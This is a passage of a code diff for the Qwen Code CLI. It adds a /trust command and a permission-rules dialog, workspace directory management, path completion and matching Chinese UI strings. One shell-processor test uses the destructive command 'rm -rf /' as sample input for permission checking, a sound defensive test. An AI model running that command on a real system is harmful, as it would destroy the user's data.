使用已允许的工具前不会询问。', + 'Qwen Code will ask before using these tools.': + 'Qwen Code 使用这些工具前会先询问。', + 'Qwen Code is not allowed to use denied tools.': + 'Qwen Code 不允许使用被拒绝的工具。', + 'Manage trusted directories for this workspace.': + '管理此工作区的受信任目录。', + 'Any use of the {{tool}} tool': '{{tool}} 工具的任何使用', + "{{tool}} commands matching '{{pattern}}'": + "匹配 '{{pattern}}' 的 {{tool}} 命令", + 'From user settings': '来自用户设置', + 'From project settings': '来自项目设置', + 'From session': '来自会话', + 'Project settings (local)': '项目设置(本地)', + 'Saved in .qwen/settings.local.json': '保存在 .qwen/settings.local.json', + 'Project settings': '项目设置', + 'Checked in at .qwen/settings.json': '保存在 .qwen/settings.json', + 'User settings': '用户设置', + 'Saved in at ~/.qwen/settings.json': '保存在 ~/.qwen/settings.json', + 'Add a new rule…': '添加新规则…', + 'Add {{type}} permission rule': '添加{{type}}权限规则', + 'Permission rules are a tool name, optionally followed by a specifier in parentheses.': + '权限规则是一个工具名称,可选地后跟括号中的限定符。', + 'e.g.,': '例如', + or: '或', + 'Enter permission rule…': '输入权限规则…', + 'Enter to submit · Esc to cancel': '回车提交 · Esc 取消', + 'Where should this rule be saved?': '此规则应保存在哪里?', + 'Enter to confirm · Esc to cancel': '回车确认 · Esc 取消', + 'Delete {{type}} rule?': '删除{{type}}规则?', + 'Are you sure you want to delete this permission rule?': + '确定要删除此权限规则吗?', + 'Permissions:': '权限:', + '(←/→ or tab to cycle)': '(←/→ 或 tab 切换)', + 'Press ↑↓ to navigate · Enter to select · Type to search · Esc to cancel': + '按 ↑↓ 导航 · 回车选择 · 输入搜索 · Esc 取消', + 'Search…': '搜索…', + 'Use /trust to manage folder trust settings for this workspace.': + '使用 /trust 管理此工作区的文件夹信任设置。', + // Workspace directory management + 'Add directory…': '添加目录…', + 'Add directory to workspace': '添加工作区目录', + 'Qwen Code can read files in the workspace, and make edits when auto-accept edits is on.': + 'Qwen Code 可以读取工作区中的文件,并在自动接受编辑模式开启时进行编辑。', + 'Qwen Code will be able to read files in this directory and make edits when auto-accept edits is on.': + 'Qwen Code 将能够读取此目录中的文件,并在自动接受编辑模式开启时进行编辑。', + 'Enter the path to the directory:': '输入目录路径:', + 'Enter directory path…': '输入目录路径…', + 'Tab to complete · Enter to add · Esc to cancel': + 'Tab 补全 · 回车添加 · Esc 取消', + 'Remove directory?': '删除目录?', + 'Are you sure you want to remove this directory from the workspace?': + '确定要将此目录从工作区中移除吗?', + ' (Original working directory)': ' (原始工作目录)', + ' (from settings)': ' (来自设置)', + 'Directory does not exist.': '目录不存在。', + 'Path is not a directory.': '路径不是目录。', + 'This directory is already in the workspace.': '此目录已在工作区中。', + 'Already covered by existing directory: {{dir}}': '已被现有目录覆盖:{{dir}}', // ============================================================================ // Status Bar diff --git a/packages/cli/src/services/BuiltinCommandLoader.test.ts b/packages/cli/src/services/BuiltinCommandLoader.test.ts index 404b7daa7e48..43da3235c59d 100644 --- a/packages/cli/src/services/BuiltinCommandLoader.test.ts +++ b/packages/cli/src/services/BuiltinCommandLoader.test.ts @@ -37,12 +37,22 @@ vi.mock('../ui/commands/ideCommand.js', async () => { vi.mock('../ui/commands/restoreCommand.js', () => ({ restoreCommand: vi.fn(), })); +vi.mock('../ui/commands/trustCommand.js', async () => { + const { CommandKind } = await import('../ui/commands/types.js'); + return { + trustCommand: { + name: 'trust', + description: 'Trust command', + kind: CommandKind.BUILT_IN, + }, + }; +}); vi.mock('../ui/commands/permissionsCommand.js', async () => { const { CommandKind } = await import('../ui/commands/types.js'); return { permissionsCommand: { name: 'permissions', - description: 'Permissions command', + description: 'Manage permission rules', kind: CommandKind.BUILT_IN, }, }; @@ -174,19 +184,19 @@ describe('BuiltinCommandLoader', () => { expect(modelCmd).toBeDefined(); }); - it('should include permissions command when folder trust is enabled', async () => { + it('should include trust command when folder trust is enabled', async () => { const loader = new BuiltinCommandLoader(mockConfig); const commands = await loader.loadCommands(new AbortController().signal); - const permissionsCmd = commands.find((c) => c.name === 'permissions'); - expect(permissionsCmd).toBeDefined(); + const trustCmd = commands.find((c) => c.name === 'trust'); + expect(trustCmd).toBeDefined(); }); - it('should exclude permissions command when folder trust is disabled', async () => { + it('should exclude trust command when folder trust is disabled', async () => { (mockConfig.getFolderTrust as Mock).mockReturnValue(false); const loader = new BuiltinCommandLoader(mockConfig); const commands = await loader.loadCommands(new AbortController().signal); - const permissionsCmd = commands.find((c) => c.name === 'permissions'); - expect(permissionsCmd).toBeUndefined(); + const trustCmd = commands.find((c) => c.name === 'trust'); + expect(trustCmd).toBeUndefined(); }); it('should always include modelCommand', async () => { diff --git a/packages/cli/src/services/BuiltinCommandLoader.ts b/packages/cli/src/services/BuiltinCommandLoader.ts index 6516abb1712a..73c2332098e4 100644 --- a/packages/cli/src/services/BuiltinCommandLoader.ts +++ b/packages/cli/src/services/BuiltinCommandLoader.ts @@ -31,6 +31,7 @@ import { mcpCommand } from '../ui/commands/mcpCommand.js'; import { memoryCommand } from '../ui/commands/memoryCommand.js'; import { modelCommand } from '../ui/commands/modelCommand.js'; import { permissionsCommand } from '../ui/commands/permissionsCommand.js'; +import { trustCommand } from '../ui/commands/trustCommand.js'; import { quitCommand } from '../ui/commands/quitCommand.js'; import { restoreCommand } from '../ui/commands/restoreCommand.js'; import { resumeCommand } from '../ui/commands/resumeCommand.js'; @@ -84,7 +85,8 @@ export class BuiltinCommandLoader implements ICommandLoader { mcpCommand, memoryCommand, modelCommand, - ...(this.config?.getFolderTrust() ? [permissionsCommand] : []), + permissionsCommand, + ...(this.config?.getFolderTrust() ? [trustCommand] : []), quitCommand, restoreCommand(this.config), resumeCommand, diff --git a/packages/cli/src/services/prompt-processors/shellProcessor.test.ts b/packages/cli/src/services/prompt-processors/shellProcessor.test.ts index 151faf3241b3..fa2afe4fd759 100644 --- a/packages/cli/src/services/prompt-processors/shellProcessor.test.ts +++ b/packages/cli/src/services/prompt-processors/shellProcessor.test.ts @@ -72,7 +72,9 @@ describe('ShellProcessor', () => { getApprovalMode: vi.fn().mockReturnValue(ApprovalMode.DEFAULT), getShouldUseNodePtyShell: vi.fn().mockReturnValue(false), getShellExecutionConfig: vi.fn().mockReturnValue({}), - getAllowedTools: vi.fn().mockReturnValue([]), + getPermissionsAllow: vi.fn().mockReturnValue([]), + // Default: no permission manager (tests that need one set it explicitly) + getPermissionManager: vi.fn().mockReturnValue(null), }; context = createMockCommandContext({ @@ -206,9 +208,11 @@ describe('ShellProcessor', () => { allAllowed: false, disallowedCommands: ['rm -rf /'], }); - (mockConfig.getAllowedTools as Mock).mockReturnValue([ - 'ShellTool(rm -rf /)', - ]); + // Simulate allowedTools being pre-merged into permissionsAllow by Config, + // so PermissionManager returns 'allow' for this command. + (mockConfig.getPermissionManager as Mock).mockReturnValue({ + isCommandAllowed: (_cmd: string) => 'allow', + }); mockShellExecute.mockReturnValue({ result: Promise.resolve({ ...SUCCESS_RESULT, output: 'deleted' }), }); diff --git a/packages/cli/src/services/prompt-processors/shellProcessor.ts b/packages/cli/src/services/prompt-processors/shellProcessor.ts index a3e30bf66216..187b98460205 100644 --- a/packages/cli/src/services/prompt-processors/shellProcessor.ts +++ b/packages/cli/src/services/prompt-processors/shellProcessor.ts @@ -7,13 +7,11 @@ import { ApprovalMode, checkCommandPermissions, - doesToolInvocationMatch, escapeShellArg, getShellConfiguration, ShellExecutionService, flatMapTextParts, } from '@qwen-code/qwen-code-core'; -import type { AnyToolInvocation } from '@qwen-code/qwen-code-core'; import type { CommandContext } from '../../ui/commands/types.js'; import type { IPromptProcessor, PromptPipelineContent } from './types.js'; @@ -125,15 +123,12 @@ export class ShellProcessor implements IPromptProcessor { // Security check on the final, escaped command string. const { allAllowed, disallowedCommands, blockReason, isHardDenial } = checkCommandPermissions(command, config, sessionShellAllowlist); - const allowedTools = config.getAllowedTools() || []; - const invocation = { - params: { command }, - } as AnyToolInvocation; - const isAllowedBySettings = doesToolInvocationMatch( - 'run_shell_command', - invocation, - allowedTools, - ); + + // Determine if this command is explicitly auto-approved via PermissionManager + const pm = config.getPermissionManager?.(); + const isAllowedBySettings = pm + ? pm.isCommandAllowed(command) === 'allow' + : false; if (!allAllowed) { if (isHardDenial) { diff --git a/packages/cli/src/ui/AppContainer.tsx b/packages/cli/src/ui/AppContainer.tsx index eaf767c2420a..2574f5bf0c34 100644 --- a/packages/cli/src/ui/AppContainer.tsx +++ b/packages/cli/src/ui/AppContainer.tsx @@ -240,6 +240,10 @@ export const AppContainer = (props: AppContainerProps) => { const { codingPlanUpdateRequest, dismissCodingPlanUpdate } = useCodingPlanUpdates(settings, config, historyManager.addItem); + const [isTrustDialogOpen, setTrustDialogOpen] = useState(false); + const openTrustDialog = useCallback(() => setTrustDialogOpen(true), []); + const closeTrustDialog = useCallback(() => setTrustDialogOpen(false), []); + const [isPermissionsDialogOpen, setPermissionsDialogOpen] = useState(false); const openPermissionsDialog = useCallback( () => setPermissionsDialogOpen(true), @@ -550,6 +554,7 @@ export const AppContainer = (props: AppContainerProps) => { openEditorDialog, openSettingsDialog, openModelDialog, + openTrustDialog, openArenaDialog, openPermissionsDialog, openApprovalModeDialog, @@ -578,6 +583,7 @@ export const AppContainer = (props: AppContainerProps) => { openArenaDialog, setDebugMessage, dispatchExtensionStateUpdate, + openTrustDialog, openPermissionsDialog, openApprovalModeDialog, addConfirmUpdateExtensionRequest, @@ -1383,6 +1389,7 @@ export const AppContainer = (props: AppContainerProps) => { isThemeDialogOpen || isSettingsDialogOpen || isModelDialogOpen || + isTrustDialogOpen || activeArenaDialog !== null || isPermissionsDialogOpen || isAuthDialogOpen || @@ -1434,6 +1441,7 @@ export const AppContainer = (props: AppContainerProps) => { quittingMessages, isSettingsDialogOpen, isModelDialogOpen, + isTrustDialogOpen, activeArenaDialog, isPermissionsDialogOpen, isApprovalModeDialogOpen, @@ -1530,6 +1538,7 @@ export const AppContainer = (props: AppContainerProps) => { quittingMessages, isSettingsDialogOpen, isModelDialogOpen, + isTrustDialogOpen, activeArenaDialog, isPermissionsDialogOpen, isApprovalModeDialogOpen, @@ -1633,6 +1642,7 @@ export const AppContainer = (props: AppContainerProps) => { closeArenaDialog, handleArenaModelsSelected, dismissCodingPlanUpdate, + closeTrustDialog, closePermissionsDialog, setShellModeActive, vimHandleInput, @@ -1685,6 +1695,7 @@ export const AppContainer = (props: AppContainerProps) => { closeArenaDialog, handleArenaModelsSelected, dismissCodingPlanUpdate, + closeTrustDialog, closePermissionsDialog, setShellModeActive, vimHandleInput, diff --git a/packages/cli/src/ui/commands/directoryCommand.tsx b/packages/cli/src/ui/commands/directoryCommand.tsx index 1fcd83dd3290..ca57ad10de81 100644 --- a/packages/cli/src/ui/commands/directoryCommand.tsx +++ b/packages/cli/src/ui/commands/directoryCommand.tsx @@ -7,6 +7,7 @@ import type { SlashCommand, CommandContext } from './types.js'; import { CommandKind } from './types.js'; import { MessageType } from '../types.js'; +import * as fs from 'node:fs'; import * as os from 'node:os'; import * as path from 'node:path'; import { loadServerHierarchicalMemory } from '@qwen-code/qwen-code-core'; @@ -25,6 +26,44 @@ export function expandHomeDir(p: string): string { return path.normalize(expandedPath); } +/** + * Returns directory path completions for the given partial argument. + * Supports comma-separated paths by completing only the last segment. + */ +export function getDirPathCompletions(partialArg: string): string[] { + const lastComma = partialArg.lastIndexOf(','); + const prefix = lastComma >= 0 ? partialArg.substring(0, lastComma + 1) : ''; + const partial = + lastComma >= 0 + ? partialArg.substring(lastComma + 1).trimStart() + : partialArg; + + const trimmed = partial.trim(); + if (!trimmed) return []; + + const expanded = trimmed.startsWith('~') + ? trimmed.replace(/^~/, os.homedir()) + : trimmed; + const endsWithSep = expanded.endsWith('/') || expanded.endsWith(path.sep); + const searchDir = endsWithSep ? expanded : path.dirname(expanded); + const namePrefix = endsWithSep ? '' : path.basename(expanded); + + try { + return fs + .readdirSync(searchDir, { withFileTypes: true }) + .filter( + (e) => + e.isDirectory() && + e.name.startsWith(namePrefix) && + !e.name.startsWith('.'), + ) + .map((e) => prefix + path.join(searchDir, e.name)) + .slice(0, 8); + } catch { + return []; + } +} + export const directoryCommand: SlashCommand = { name: 'directory', altNames: ['dir'], @@ -41,6 +80,8 @@ export const directoryCommand: SlashCommand = { ); }, kind: CommandKind.BUILT_IN, + completion: async (_context: CommandContext, partialArg: string) => + getDirPathCompletions(partialArg), action: async (context: CommandContext, args: string) => { const { ui: { addItem }, diff --git a/packages/cli/src/ui/commands/permissionsCommand.test.ts b/packages/cli/src/ui/commands/permissionsCommand.test.ts index f51e7c3df418..b42e546f61a6 100644 --- a/packages/cli/src/ui/commands/permissionsCommand.test.ts +++ b/packages/cli/src/ui/commands/permissionsCommand.test.ts @@ -18,7 +18,7 @@ describe('permissionsCommand', () => { it('should have the correct name and description', () => { expect(permissionsCommand.name).toBe('permissions'); - expect(permissionsCommand.description).toBe('Manage folder trust settings'); + expect(permissionsCommand.description).toBe('Manage permission rules'); }); it('should be a built-in command', () => { diff --git a/packages/cli/src/ui/commands/permissionsCommand.ts b/packages/cli/src/ui/commands/permissionsCommand.ts index 2b6a7c344b9f..034fec843a3d 100644 --- a/packages/cli/src/ui/commands/permissionsCommand.ts +++ b/packages/cli/src/ui/commands/permissionsCommand.ts @@ -11,7 +11,7 @@ import { t } from '../../i18n/index.js'; export const permissionsCommand: SlashCommand = { name: 'permissions', get description() { - return t('Manage folder trust settings'); + return t('Manage permission rules'); }, kind: CommandKind.BUILT_IN, action: (): OpenDialogActionReturn => ({ diff --git a/packages/cli/src/ui/commands/trustCommand.test.ts b/packages/cli/src/ui/commands/trustCommand.test.ts new file mode 100644 index 000000000000..dff3e5750915 --- /dev/null +++ b/packages/cli/src/ui/commands/trustCommand.test.ts @@ -0,0 +1,35 @@ +/** + * @license + * Copyright 2025 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +import { describe, it, expect, beforeEach } from 'vitest'; +import { trustCommand } from './trustCommand.js'; +import { type CommandContext, CommandKind } from './types.js'; +import { createMockCommandContext } from '../../test-utils/mockCommandContext.js'; + +describe('trustCommand', () => { + let mockContext: CommandContext; + + beforeEach(() => { + mockContext = createMockCommandContext(); + }); + + it('should have the correct name and description', () => { + expect(trustCommand.name).toBe('trust'); + expect(trustCommand.description).toBe('Manage folder trust settings'); + }); + + it('should be a built-in command', () => { + expect(trustCommand.kind).toBe(CommandKind.BUILT_IN); + }); + + it('should return an action to open the trust dialog', () => { + const actionResult = trustCommand.action?.(mockContext, ''); + expect(actionResult).toEqual({ + type: 'dialog', + dialog: 'trust', + }); + }); +}); diff --git a/packages/cli/src/ui/commands/trustCommand.ts b/packages/cli/src/ui/commands/trustCommand.ts new file mode 100644 index 000000000000..9fa566db20f7 --- /dev/null +++ b/packages/cli/src/ui/commands/trustCommand.ts @@ -0,0 +1,21 @@ +/** + * @license + * Copyright 2025 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +import type { OpenDialogActionReturn, SlashCommand } from './types.js'; +import { CommandKind } from './types.js'; +import { t } from '../../i18n/index.js'; + +export const trustCommand: SlashCommand = { + name: 'trust', + get description() { + return t('Manage folder trust settings'); + }, + kind: CommandKind.BUILT_IN, + action: (): OpenDialogActionReturn => ({ + type: 'dialog', + dialog: 'trust', + }), +}; diff --git a/packages/cli/src/ui/commands/types.ts b/packages/cli/src/ui/commands/types.ts index 20eb695ce68e..49f937027474 100644 --- a/packages/cli/src/ui/commands/types.ts +++ b/packages/cli/src/ui/commands/types.ts @@ -150,6 +150,7 @@ export interface OpenDialogActionReturn { | 'model' | 'subagent_create' | 'subagent_list' + | 'trust' | 'permissions' | 'approval-mode' | 'resume' diff --git a/packages/cli/src/ui/components/DialogManager.tsx b/packages/cli/src/ui/components/DialogManager.tsx index 11d10303ef87..2e5fae0c8883 100644 --- a/packages/cli/src/ui/components/DialogManager.tsx +++ b/packages/cli/src/ui/components/DialogManager.tsx @@ -18,7 +18,8 @@ import { SettingsDialog } from './SettingsDialog.js'; import { QwenOAuthProgress } from './QwenOAuthProgress.js'; import { AuthDialog } from '../auth/AuthDialog.js'; import { EditorSettingsDialog } from './EditorSettingsDialog.js'; -import { PermissionsModifyTrustDialog } from './PermissionsModifyTrustDialog.js'; +import { TrustDialog } from './TrustDialog.js'; +import { PermissionsDialog } from './PermissionsDialog.js'; import { ModelDialog } from './ModelDialog.js'; import { ArenaStartDialog } from './arena/ArenaStartDialog.js'; import { ArenaSelectDialog } from './arena/ArenaSelectDialog.js'; @@ -314,15 +315,16 @@ export const DialogManager = ({ ); } } - if (uiState.isPermissionsDialogOpen) { + if (uiState.isTrustDialogOpen) { return ( - + ); } + if (uiState.isPermissionsDialogOpen) { + return ; + } + if (uiState.isSubagentCreateDialogOpen) { return ( void; +} + +// --------------------------------------------------------------------------- +// Main component +// --------------------------------------------------------------------------- + +export function PermissionsDialog({ + onExit, +}: PermissionsDialogProps): React.JSX.Element { + const config = useConfig(); + const settings = useSettings(); + const pm = config.getPermissionManager?.() as PermissionManager | null; + + // --- Tab state --- + const tabs = useMemo(() => getTabs(), []); + const [activeTabIndex, setActiveTabIndex] = useState(0); + const activeTab = tabs[activeTabIndex]!; + + // --- Rule list state --- + const [allRules, setAllRules] = useState([]); + const [searchQuery, setSearchQuery] = useState(''); + const [isSearchActive, setIsSearchActive] = useState(false); + + // --- Dialog view state machine --- + const [view, setView] = useState('rule-list'); + const [newRuleInput, setNewRuleInput] = useState(''); + const [pendingRuleText, setPendingRuleText] = useState(''); + const [deleteTarget, setDeleteTarget] = useState(null); + + // --- Workspace directory state --- + const workspaceContext = config.getWorkspaceContext(); + const [newDirInput, setNewDirInput] = useState(''); + const [dirInputError, setDirInputError] = useState(''); + const [dirInputRemountKey, setDirInputRemountKey] = useState(0); + const [completionIndex, setCompletionIndex] = useState(0); + const [removeDirTarget, setRemoveDirTarget] = useState(null); + const [dirRefreshKey, setDirRefreshKey] = useState(0); + + // Refresh rules from PermissionManager + const refreshRules = useCallback(() => { + if (pm) { + setAllRules(pm.listRules()); + } + }, [pm]); + + useEffect(() => { + refreshRules(); + }, [refreshRules]); + + // --- Workspace directory helpers --- + const directories = useMemo(() => { + // eslint-disable-next-line @typescript-eslint/no-unused-expressions + dirRefreshKey; // dependency to trigger re-computation + return workspaceContext.getDirectories(); + }, [workspaceContext, dirRefreshKey]); + + const initialDirs = useMemo( + () => new Set(workspaceContext.getInitialDirectories()), + [workspaceContext], + ); + + // Filesystem completions based on current input + const dirCompletions = useMemo(() => { + const trimmed = newDirInput.trim(); + if (!trimmed) return []; + const expanded = trimmed.startsWith('~') + ? trimmed.replace(/^~/, os.homedir()) + : trimmed; + const endsWithSep = + expanded.endsWith('/') || expanded.endsWith(nodePath.sep); + const searchDir = endsWithSep ? expanded : nodePath.dirname(expanded); + const prefix = endsWithSep ? '' : nodePath.basename(expanded); + try { + return fs + .readdirSync(searchDir, { withFileTypes: true }) + .filter( + (e) => + e.isDirectory() && + e.name.startsWith(prefix) && + !e.name.startsWith('.'), + ) + .map((e) => nodePath.join(searchDir, e.name)) + .slice(0, 6); + } catch { + return []; + } + }, [newDirInput]); + + const handleDirInputChange = useCallback( + (text: string) => { + setNewDirInput(text); + if (dirInputError) setDirInputError(''); + }, + [dirInputError], + ); + + // Reset selection to first item whenever the completions list changes + useEffect(() => { + setCompletionIndex(0); + }, [dirCompletions]); + + const handleDirTabComplete = useCallback(() => { + const selected = dirCompletions[completionIndex] ?? dirCompletions[0]; + if (selected) { + setNewDirInput(selected + '/'); + setDirInputRemountKey((k) => k + 1); + } + }, [dirCompletions, completionIndex]); + + const handleDirCompletionUp = useCallback(() => { + if (dirCompletions.length === 0) return; + setCompletionIndex( + (prev) => (prev - 1 + dirCompletions.length) % dirCompletions.length, + ); + }, [dirCompletions.length]); + + const handleDirCompletionDown = useCallback(() => { + if (dirCompletions.length === 0) return; + setCompletionIndex((prev) => (prev + 1) % dirCompletions.length); + }, [dirCompletions.length]); + + const dirListItems = useMemo(() => { + const items: Array<{ + label: string; + value: string; + key: string; + }> = []; + // 'Add directory…' always FIRST + items.push({ + label: t('Add directory…'), + value: '__add_dir__', + key: '__add_dir__', + }); + // Only show non-initial (runtime-added) directories in the selectable list + for (const dir of directories) { + if (!initialDirs.has(dir)) { + items.push({ + label: dir, + value: dir, + key: `dir-${dir}`, + }); + } + } + return items; + }, [directories, initialDirs]); + + const handleDirListSelect = useCallback( + (value: string) => { + if (value === '__add_dir__') { + setNewDirInput(''); + setView('ws-add-dir-input'); + return; + } + // Selecting a directory → offer to remove if not initial + if (!initialDirs.has(value)) { + setRemoveDirTarget(value); + setView('ws-remove-confirm'); + } + }, + [initialDirs], + ); + + const handleAddDirSubmit = useCallback(() => { + const trimmed = newDirInput.trim(); + if (!trimmed) return; + + const expanded = trimmed.startsWith('~') + ? trimmed.replace(/^~/, os.homedir()) + : trimmed; + const absoluteExpanded = nodePath.isAbsolute(expanded) + ? expanded + : nodePath.resolve(expanded); + + // Existence & type checks + if (!fs.existsSync(absoluteExpanded)) { + setDirInputError(t('Directory does not exist.')); + return; + } + if (!fs.statSync(absoluteExpanded).isDirectory()) { + setDirInputError(t('Path is not a directory.')); + return; + } + + // Resolve real path to match what workspaceContext stores + let resolved: string; + try { + resolved = fs.realpathSync(absoluteExpanded); + } catch { + resolved = absoluteExpanded; + } + + // Validate: exact duplicate + if ((directories as string[]).includes(resolved)) { + setDirInputError(t('This directory is already in the workspace.')); + return; + } + + // Validate: is a subdirectory of an existing workspace directory + for (const existingDir of directories) { + if (isPathWithinRoot(resolved, existingDir)) { + setDirInputError( + t('Already covered by existing directory: {{dir}}', { + dir: existingDir, + }), + ); + return; + } + } + + setDirInputError(''); + + // Add to workspace context (already validated) + workspaceContext.addDirectory(resolved); + + // Persist directly to project (Workspace) settings + const key = 'context.includeDirectories'; + const currentDirs = (settings.merged as Record)[ + 'context' + ] as Record | undefined; + const existingDirs = currentDirs?.['includeDirectories'] ?? []; + if (!existingDirs.includes(resolved)) { + settings.setValue(SettingScope.Workspace, key, [ + ...existingDirs, + resolved, + ]); + } + + setDirRefreshKey((k) => k + 1); + setView('ws-dir-list'); + setNewDirInput(''); + }, [newDirInput, directories, workspaceContext, settings]); + + const handleRemoveDirConfirm = useCallback(() => { + if (!removeDirTarget) return; + + // Remove from workspace context + workspaceContext.removeDirectory(removeDirTarget); + + // Remove from settings (try both scopes) + for (const scope of [SettingScope.User, SettingScope.Workspace]) { + const scopeSettings = settings.forScope(scope).settings; + const contextSection = (scopeSettings as Record)[ + 'context' + ] as Record | undefined; + const scopeDirs = contextSection?.['includeDirectories']; + if (scopeDirs?.includes(removeDirTarget)) { + const updated = scopeDirs.filter((d: string) => d !== removeDirTarget); + settings.setValue(scope, 'context.includeDirectories', updated); + break; + } + } + + setDirRefreshKey((k) => k + 1); + setRemoveDirTarget(null); + setView('ws-dir-list'); + }, [removeDirTarget, workspaceContext, settings]); + + // Filter rules for current tab + const currentTabRules = useMemo(() => { + if (activeTab.id === 'workspace') return []; + return allRules.filter((r) => r.type === activeTab.id); + }, [allRules, activeTab.id]); + + // Search-filtered rules + const filteredRules = useMemo(() => { + if (!searchQuery.trim()) return currentTabRules; + const q = searchQuery.toLowerCase(); + return currentTabRules.filter( + (r) => + r.rule.raw.toLowerCase().includes(q) || + r.rule.toolName.toLowerCase().includes(q), + ); + }, [currentTabRules, searchQuery]); + + // Build radio items: "Add a new rule..." + filtered rules + const listItems = useMemo(() => { + const items: Array<{ + label: string; + value: string; + key: string; + }> = [ + { + label: t('Add a new rule…'), + value: '__add__', + key: '__add__', + }, + ]; + for (const r of filteredRules) { + items.push({ + label: `${r.rule.raw}`, + value: r.rule.raw, + key: `${r.type}-${r.scope}-${r.rule.raw}`, + }); + } + return items; + }, [filteredRules]); + + // --- Action handlers --- + + const handleTabCycle = useCallback( + (direction: 1 | -1) => { + const newIndex = (activeTabIndex + direction + tabs.length) % tabs.length; + setActiveTabIndex(newIndex); + setSearchQuery(''); + setIsSearchActive(false); + setDirInputError(''); + // Set the appropriate default view for each tab + const newTab = tabs[newIndex]!; + setView(newTab.id === 'workspace' ? 'ws-dir-list' : 'rule-list'); + }, + [activeTabIndex, tabs], + ); + + const handleListSelect = useCallback( + (value: string) => { + if (value === '__add__') { + setNewRuleInput(''); + setView('add-rule-input'); + return; + } + // Selecting an existing rule → offer to delete + const found = filteredRules.find((r) => r.rule.raw === value); + if (found) { + setDeleteTarget(found); + setView('delete-confirm'); + } + }, + [filteredRules], + ); + + const handleAddRuleSubmit = useCallback(() => { + const trimmed = newRuleInput.trim(); + if (!trimmed) return; + setPendingRuleText(trimmed); + setView('add-rule-scope'); + }, [newRuleInput]); + + const handleScopeSelect = useCallback( + (scope: SettingScope) => { + if (!pm || activeTab.id === 'workspace') return; + const ruleType = activeTab.id as RuleType; + + // Add to PermissionManager in-memory + pm.addPersistentRule(pendingRuleText, ruleType); + + // Persist to settings file (with dedup) + const key = `permissions.${ruleType}`; + const perms = (settings.merged as Record)[ + 'permissions' + ] as Record | undefined; + const currentRules = perms?.[ruleType] ?? []; + if (!currentRules.includes(pendingRuleText)) { + settings.setValue(scope, key, [...currentRules, pendingRuleText]); + } + + // Refresh and go back + refreshRules(); + setView('rule-list'); + setPendingRuleText(''); + }, + [pm, activeTab.id, pendingRuleText, settings, refreshRules], + ); + + const handleDeleteConfirm = useCallback(() => { + if (!pm || !deleteTarget) return; + const ruleType = deleteTarget.type; + + // Remove from PermissionManager in-memory + pm.removePersistentRule(deleteTarget.rule.raw, ruleType); + + // Persist removal — find and remove from settings + // We try both User and Workspace scopes + for (const scope of [SettingScope.User, SettingScope.Workspace]) { + const scopeSettings = settings.forScope(scope).settings; + const perms = (scopeSettings as Record)[ + 'permissions' + ] as Record | undefined; + const scopeRules = perms?.[ruleType]; + if (scopeRules?.includes(deleteTarget.rule.raw)) { + const updated = scopeRules.filter( + (r: string) => r !== deleteTarget.rule.raw, + ); + settings.setValue(scope, `permissions.${ruleType}`, updated); + break; + } + } + + refreshRules(); + setDeleteTarget(null); + setView('rule-list'); + }, [pm, deleteTarget, settings, refreshRules]); + + // --- Keypress handling --- + + useKeypress( + (key) => { + if (view === 'rule-list') { + if (key.name === 'escape') { + if (isSearchActive && searchQuery) { + setSearchQuery(''); + setIsSearchActive(false); + } else { + onExit(); + } + return; + } + if (key.name === 'tab') { + handleTabCycle(1); + return; + } + if (key.name === 'right' || key.name === 'left') { + handleTabCycle(key.name === 'right' ? 1 : -1); + return; + } + // Search input: backspace + if (key.name === 'backspace' || key.name === 'delete') { + if (searchQuery.length > 0) { + setSearchQuery((prev) => prev.slice(0, -1)); + } + return; + } + // Search input: printable characters + if ( + key.sequence && + !key.ctrl && + !key.meta && + key.sequence.length === 1 && + key.sequence >= ' ' + ) { + setSearchQuery((prev) => prev + key.sequence); + setIsSearchActive(true); + return; + } + } + if (view === 'add-rule-input') { + if (key.name === 'escape') { + setView('rule-list'); + return; + } + } + if (view === 'add-rule-scope') { + if (key.name === 'escape') { + setView('add-rule-input'); + return; + } + } + if (view === 'delete-confirm') { + if (key.name === 'escape') { + setDeleteTarget(null); + setView('rule-list'); + return; + } + if (key.name === 'return') { + handleDeleteConfirm(); + return; + } + } + // Workspace tab views + if (view === 'ws-dir-list') { + if (key.name === 'escape') { + onExit(); + return; + } + if (key.name === 'tab') { + handleTabCycle(1); + return; + } + if (key.name === 'right' || key.name === 'left') { + handleTabCycle(key.name === 'right' ? 1 : -1); + return; + } + } + if (view === 'ws-add-dir-input') { + if (key.name === 'escape') { + setDirInputError(''); + setView('ws-dir-list'); + return; + } + } + if (view === 'ws-remove-confirm') { + if (key.name === 'escape') { + setRemoveDirTarget(null); + setView('ws-dir-list'); + return; + } + if (key.name === 'return') { + handleRemoveDirConfirm(); + return; + } + } + }, + { isActive: true }, + ); + + // --- Workspace tab: add directory input --- + if (activeTab.id === 'workspace' && view === 'ws-add-dir-input') { + return ( + + + {t('Add directory to workspace')} + + + + {t( + 'Qwen Code will be able to read files in this directory and make edits when auto-accept edits is on.', + )} + + + {t('Enter the path to the directory:')} + + 0 ? handleDirTabComplete : undefined} + onUp={dirCompletions.length > 0 ? handleDirCompletionUp : undefined} + onDown={ + dirCompletions.length > 0 ? handleDirCompletionDown : undefined + } + placeholder={t('Enter directory path…')} + isActive={true} + validationErrors={dirInputError ? [dirInputError] : []} + /> + + {/* Filesystem completions: ↑/↓ to navigate, Tab to apply */} + {dirCompletions.length > 0 && ( + + {dirCompletions.map((completion, idx) => { + const name = nodePath.basename(completion); + const isSelected = idx === completionIndex; + return ( + + + {`${name}/`} + + {` directory`} + + ); + })} + + )} + + + {t('Tab to complete · Enter to add · Esc to cancel')} + + + + ); + } + + // --- Workspace tab: remove directory confirmation --- + if ( + activeTab.id === 'workspace' && + view === 'ws-remove-confirm' && + removeDirTarget + ) { + return ( + + + {t('Remove directory?')} + + + {removeDirTarget} + + + + {t( + 'Are you sure you want to remove this directory from the workspace?', + )} + + + + + {t('Enter to confirm · Esc to cancel')} + + + + ); + } + + // --- Workspace tab: directory list (default) --- + if (activeTab.id === 'workspace') { + const initialDirArray = Array.from(initialDirs); + return ( + + + + {t( + 'Qwen Code can read files in the workspace, and make edits when auto-accept edits is on.', + )} + + + {/* Initial (non-removable) dirs: shown inline with dash, same visual level as list */} + {initialDirArray.map((dir, idx) => ( + + {'- '} + {dir} + + {idx === 0 + ? t(' (Original working directory)') + : t(' (from settings)')} + + + ))} + {/* Selectable list: runtime-added dirs + 'Add directory…' at end */} + + + + ); + } + + // --- Render views --- + + if (view === 'add-rule-input') { + return ( + + + + {t('Add {{type}} permission rule', { type: activeTab.id })} + + + + {t( + 'Permission rules are a tool name, optionally 